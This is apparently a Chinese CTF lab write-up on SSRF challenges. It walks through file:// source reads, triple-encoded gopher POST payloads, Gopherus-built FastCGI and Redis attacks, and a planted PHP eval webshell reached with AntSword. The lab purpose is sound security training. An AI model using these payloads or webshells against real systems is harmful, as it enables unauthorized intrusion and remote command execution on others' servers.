Gopher协议的利用
gopher协议是ssrf利用中最强大的协议
gopher协议支持发出GET、POST请求:
可以先截获get请求包和post请求包,再构成符合gopher协议的请求。
默认端口为70,一般需发送到80端口
如果发起post请求,回车换行需要使用%0D%0A,如果多个参数,参数之间的&也需要进行URL编码。
gopher使用结构:
gopher://127.0.0.1:80/_{TCP/IP数据流} //_不能省
POST请求
打开看到题目描述,先用dirsearch扫一下
dirsearch -u http://challenge-c81b1dbf4106f429.sandbox.ctfhub.com:10800/?url=127.0.0.1
发现只有/flag.php可以访问
访问后发现有个输入框
查看源代码看见key
尝试使用file://协议读取文件
读取index.php文件源代码
?url=file:///var/www/html/index.php
读取flag.php文件源代码
?url=file:///var/www/html/flag.php
发现POST传参了key值
补充:
当前运行脚本所在服务器(非本地)IP地址
只要往flag.php传key值就可以得到flag,而index.php可以利用curl传url,就可以用gopher协议在index.php中构造post请求包往flag.php传key值,获得flag
POST包必须包含的四个参数:Content-Type
,Content-Length
,host
,post
gopher的数据需要用url编码三次之后再发送,且第一次编码后%0A需全部替换成%0D%0A,利用ssrf时常需要进行多次url编码,执行curl功能(利用URL语法在命令行下工作的文件传输工具)后会被解码一次,利用?url=gopher://形式进行ssrf请求又会被解码一次,如果有302跳转 也会被解码一次。(可以说传参+跳转,请求多少次就要编码多少次)
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-from-urlencode
Conternt-Length: 36key=e9653266a13e73c36f3292268cc56b22
对构造的请求包进行编码
补充:
Gopher协议包含的请求数据包中,可能包含有=
、&
等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%
后的字节当做普通字节。
80是http默认端口
第一次编码后需要将%0A替换为%0D%0A
替换后是这样的
POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%20%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Akey%3De9653266a13e73c36f3292268cc56b22
第二次编码
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%2520%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253De9653266a13e73c36f3292268cc56b22
第三次编码
POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Length%25253A%25252036%252520%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250A%25250D%25250Akey%25253De9653266a13e73c36f3292268cc56b22
由于flag.php
中的$_SERVER["REMOTE_ADDR"]
无法绕过,于是在index.php
中发送 POST请求
构造payload
?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%252520%25250D%25250Akey%25253D5194585c8475fb6e7b30ff77454c4aa4
在bp重放器中得到flag
上传文件
看到题目要求上传文件
发现并没有提交按钮
用伪协议查看flag.php,意思是上传文件不能为空
到这里看了一下别人的wp,发现需要自己加上提交按钮
出现提交按钮
使用bp抓包,这个就是需要构造的POST包
像上一题一样进行三次编码,其中第一次结束后要将%0A全部替换为%0D%0A
构造payload在重放器中发送请求
?url=127.0.0.1/index.php/?url=gopher://127.0.0.1:80/_POST包
得到flag
FastCGI协议
题目要求攻击fastcgi协议,这里不是特别了解,参考附件内容
补充:http://t.csdnimg.cn/73bad
fastcgi协议
fastcgi record
Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。
HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。
类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
record的头固定8个字节,body是由头中的contentLength指定https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-record
fastcgi type
type用来
指定该record的作用。因为fastcgi一个record的大小是有限的,作用也是单一的,所以需要在一个TCP流里传输多个record。通过type
来标志每个record的作用,用requestId
作为同一次请求的id。
也就是说,每次请求,会有多个record,他们的requestId
是相同的。https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#fastcgi-type
php-fpm
FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM。
FPM按照fastcgi的协议将TCP流解析成真正的数据。https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#php-fpmfastcgi
通过上面的了解知道需要运用到Gopherus工具,这里首先下载并配置好工具,可以参考这个文章http://t.csdnimg.cn/o6kVb
第一行输入路径,第二行执行命令,查看根目录
将gopher协议要发送的内容进行移除url编码
找到flag的文件,接下来进行查看
得到的gopher协议也需要进行一次编码
然后可以传参
得到flag
Redis协议
补充:http://t.csdnimg.cn/FdhWF
什么是redis协议
Redis协议,也被称为 RESP ,它是一种简单的文本协议,用于在客户端和服务器之间操作和传输数据。是最简单的一种传输协议。描述了不同类型的数据结构,定义了请求和响应间数据结构的交互。
法一:
用Gopherus工具构造payload
./gopherus.py --exploit redis
ReverseShell是反弹shell,PHPshell就是webshell,第二行默认路径/var/www/html
最后输入shell语句
<?php eval($_post["cmd"]);?>
然后就可以得到如图
其中的%0A已经是%0D%0A了,不用转换,然后进行二次编码
将构造好的payload上传,很久以后返回504(超时)
访问shell.php(工具生成shell的文件名)
蚁剑测试连接成功
得到flag
法二:
与法一第一步相同,都是用Gopherus工具构造payload,其中默认命令参数是cmd
与法一第二步相同,不用更改,直接进行编码
接着上传,同样是504,然后发现可以访问shell.php
用命令查看根目录,发现flag的存在
最后用cat查看内容,得到flag